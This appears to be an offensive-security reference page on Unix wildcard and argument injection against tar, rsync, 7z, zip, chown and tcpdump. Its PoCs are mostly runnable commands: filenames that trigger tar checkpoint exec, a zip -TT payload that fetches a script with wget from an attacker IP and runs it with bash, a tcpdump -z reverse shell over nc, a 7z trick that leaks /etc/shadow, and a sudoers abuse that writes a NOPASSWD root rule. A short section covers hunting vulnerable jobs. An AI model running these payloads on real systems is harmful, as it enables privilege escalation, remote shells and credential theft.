Wildcards Spare Tricks
Wildcard (aka glob) argument injection happens when a privileged script runs a Unix binary such as
tar,chown,rsync,zip,7z, … with an unquoted wildcard like*.
Since the shell expands the wildcard before executing the binary, an attacker who can create files in the working directory can craft filenames that begin with-so they are interpreted as options instead of data, effectively smuggling arbitrary flags or even commands.[6] This page collects the most useful primitives, recent research and modern detections for 2023-2025.
chown / chmod
You can copy the owner/group or permission bits from a reference file by abusing the --reference flag when an option-looking filename is expanded by a wildcard.[6][8][9]
# attacker-controlled directory
touch -- .drf.php
chmod 777 -- .drf.php
touch -- "--reference=.drf.php" # ← filename becomes an argument
When root later executes something like:
chown -R alice:alice *.php
chmod -R 644 *.php
The expanded --reference=.drf.php overrides the explicit owner/mode, causing matching files to inherit metadata from .drf.php (and, with the setup above, making them writable by the attacker).[6]
PoC & tool: wildpwn (combined attack).[7]
See also the classic DefenseCode paper for details.[6]
tar
GNU tar
Execute arbitrary commands by abusing GNU tar’s checkpoint feature and checkpoint actions.[10]
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
Once root runs e.g. tar -czf /root/backup.tgz *, shell.sh is executed as root.[10]
bsdtar / macOS compressor override caveat
The default tar on recent macOS (based on libarchive) does not provide GNU tar’s --checkpoint interface, but bsdtar documents —use-compress-program for selecting an external compressor.[11]
# macOS example
touch -- "--use-compress-program=sh"
When a privileged script runs tar -cf backup.tar *, this selects sh through the victim’s PATH and bsdtar starts it as the compressor.[11] This proves option injection but is not, by itself, a reliable arbitrary-command primitive: a wildcard-created filename cannot contain /, and bsdtar supplies archive data rather than an attacker-selected shell command. Code execution additionally requires a controllable executable resolved through PATH or another argument channel that can name a useful program.
rsync
rsync lets you override the remote shell or the remote binary via command-line flags such as -e and --rsync-path.[12]
# attacker-controlled directory
touch -- "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
If root later archives the directory with rsync -az * backup:/srv/, the injected flag can run a shell through the remote-shell mechanism.[7][12]
PoC: wildpwn (rsync mode).
7-Zip / 7z / 7za
Even when the privileged script defensively prefixes the wildcard with -- (to stop option parsing), the 7-Zip CLI accepts file list files by prefixing the filename with @. Combining that with a symlink lets you exfiltrate arbitrary files.[13]
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
If root executes something like:
7za a /backup/`date +%F`.7z -t7z -snl -- *
7-Zip will attempt to read root.txt (→ /etc/shadow) as a file list and will bail out, printing the contents to stderr.[13]
This survives -- * because the 7-Zip CLI explicitly accepts both regular filenames and @listfiles as positional inputs, so a literal filename such as @root.txt is still treated specially.[13]
zip
Two very practical primitives exist when an application passes user-controlled filenames to zip (either via a wildcard or by enumerating names without --).[2][3]
- RCE via test hook:
-Tenables “test archive” and-TT <cmd>replaces the tester with an arbitrary program (long form:--unzip-command <cmd>). If you can inject filenames that start with-, split the flags across distinct filenames so short-options parsing works.[2][3]
# Attacker-controlled filenames (e.g., in an upload directory)
# 1) A file literally named: -T
# 2) A file named: -TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x
# 3) Any benign file to include (e.g., data.pcap)
# When the privileged code runs: zip out.zip <files...>
# zip will execute: wget 10.10.14.17 -O s.sh; bash s.sh; echo x
Notes
- Do NOT try a single filename like
'-T -TT <cmd>'— short options are parsed per character and it will fail. Use separate tokens as shown.[3] - If slashes are stripped from filenames by the app, fetch from a bare host/IP (default path
/index.html) and save locally with-O, then execute.[3] - You can debug parsing with
-sc(show processed argv) or-h2(more help) to understand how your tokens are consumed.[3]
Example (local behavior on zip 3.0).[3]
zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap # fails to parse
zip test.zip -T '-TT wget 10.10.14.17 -O s.sh; bash s.sh' test.pcap # runs wget + bash
- Data exfil/leak: If the web layer echoes
zipstdout/stderr (common with naive wrappers), injected flags like--helpor failures from bad options will surface in the HTTP response, confirming command-line injection and aiding payload tuning.[3]
Additional option-injection candidates
When a privileged wrapper expands a writable directory with a wildcard, these documented option hooks are worth checking.[15][16][17]
| Binary | Flag to abuse | Effect |
|---|---|---|
flock | -c <cmd> | Pass a command string to a shell |
git | -c core.sshCommand=<cmd> | Use <cmd> instead of SSH for Git fetch/push |
scp | -S <program> | Use an alternate SSH-compatible connection program |
These primitives are useful checks beyond the tar/rsync/zip classics.
Hunting vulnerable wrappers and jobs
Recent case studies and detection guidance show that wildcard/argv injection is no longer just a cron + tar problem.[3][4][5] The same bug class keeps appearing in:
- web features that “download everything as zip/tar” from attacker-controlled upload directories
- vendor/appliance debug shells that expose a tcpdump wrapper with attacker-controlled filename/filter fields
- backup or rotation jobs that call
tar,rsync,7z,zip,chown, orchmodon writable directories
Useful triage commands (the pspy invocation uses its documented process/file-event and interval flags).[14]
# Hunt for interesting binaries fed with globs or positional user data
rg -n --hidden --follow \
'(tar|bsdtar|rsync|zip|7z|7za|chown|chmod|tcpdump).*(\*|\$@|\$\*)' \
/etc /opt /usr/local /srv 2>/dev/null
# Watch real argv during cron/systemd execution
pspy64 -pf -i 1000 | rg 'tar|rsync|zip|7z|tcpdump|chown|chmod'
# Sudoers rules that constrain one argument but still allow extra flags
sudo -l
rg -n 'tcpdump|zip|tar|rsync' /etc/sudoers /etc/sudoers.d 2>/dev/null
Quick heuristics:
-- *is a good fix for many GNU tools, but not for7z/7zabecause@listfilesare parsed separately.[13]- For
zip, look for wrappers that enumerate user-controlled filenames directly; short-option splitting (-T+-TT <cmd>) still works even without a shell glob.[2][3] - For
tcpdump, pay special attention to wrappers that let you control output file names, rotation settings, or capture-file replay arguments.[18]
tcpdump rotation hooks (-G/-W/-z): RCE via argv injection in wrappers
When a restricted shell or vendor wrapper builds a tcpdump command line by concatenating user-controlled fields (e.g., a “file name” parameter) without strict quoting/validation, you can smuggle extra tcpdump flags. The combo of -G (time-based rotation), -W (limit number of files), and -z <cmd> (post-rotate command) yields arbitrary command execution as the user running tcpdump (often root on appliances).[1][4][18]
Preconditions:
- You can influence
argvpassed totcpdump(e.g., via a wrapper like/debug/tcpdump --filter=... --file-name=<HERE>).[4][18] - The wrapper does not sanitize spaces or
--prefixed tokens in the file name field.[4]
Classic PoC (executes a reverse shell script from a writable path).[4][18]
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
Details:
-G 1rotates every second, and-W 1stops after one rotated file; the capture must receive a matching packet before rotation.[18]-z <cmd>runs the post-rotate command once per rotation and passes the closed savefile path as an argument; ensure script/interpreter argument handling matches your payload.[18]
No-removable-media variants:
- If you have any other primitive to write files (e.g., a separate command wrapper that allows output redirection), drop your script into a known path and trigger
-z /path/script.sh; have the script invoke/bin/shitself if needed.[18] - If a vendor wrapper lets you choose the rotated path, audit that path control only in combination with a post-rotate command that interprets its savefile argument; path control alone does not execute file contents.[18]
sudoers: tcpdump with wildcards/additional args → arbitrary write/read and root
Example sudoers anti-pattern:[3]
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<GUID-PATTERN> -F/var/cache/captures/filter.<GUID-PATTERN>
The rule leaves several options available under tcpdump’s documented parser:[3][18]
- The
*glob and permissive patterns only constrain the first-wargument.tcpdumpaccepts multiple-woptions; the last one wins.[3][18] - The rule doesn’t pin other options, so
-Z,-r,-V, etc. are allowed.[3][18]
The relevant primitives are documented below.[3][18]
sudo tcpdump -c10 -w/var/cache/captures/a/ \
-w /dev/shm/out.pcap \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
- Path traversal inside the first
-wto escape the constrained tree.[3]
sudo tcpdump -c10 \
-w/var/cache/captures/a/../../../../dev/shm/out \
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
-w /dev/shm/root-owned \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
Create a PCAP that contains the exact ASCII payload and write it as root
# On attacker box: craft a UDP packet stream that carries the target line
printf '\n\nfritz ALL=(ALL:ALL) NOPASSWD: ALL\n' > sudoers
sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 &
cat sudoers | nc -u 127.0.0.1 9001; kill %1
# On victim (sudoers rule allows tcpdump as above)
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
-r sudoers.pcap -w /etc/sudoers.d/1111-aaaa \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
- Arbitrary file read/secret leak with
-V <file>(interprets a list of savefiles). Error diagnostics often echo lines, leaking content.[3][18]
sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \
-w /tmp/dummy \
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
References
- [1] GTFOBins - tcpdump
- [2] GTFOBins - zip
- [3] 0xdf - HTB Dump: Zip arg injection to RCE + tcpdump sudo misconfig privesc
- [4] FiberGateway GR241AG - Full Exploit Chain
- [5] Elastic - Potential Shell via Wildcard Injection Detected
- [6] Back To The Future: Unix Wildcards Gone Wild (DefenseCode)
- [7] wildpwn
- [8] GNU Coreutils
chowninvocation - [9] GNU Coreutils
chmodinvocation - [10] GNU tar checkpoints
- [11] bsdtar(1) manual
- [12] rsync(1) manual
- [13] 7-Zip command line syntax
- [14] pspy
- [15] flock(1) manual
- [16] Git configuration documentation
- [17] OpenBSD
scpmanual - [18] tcpdump(8) manual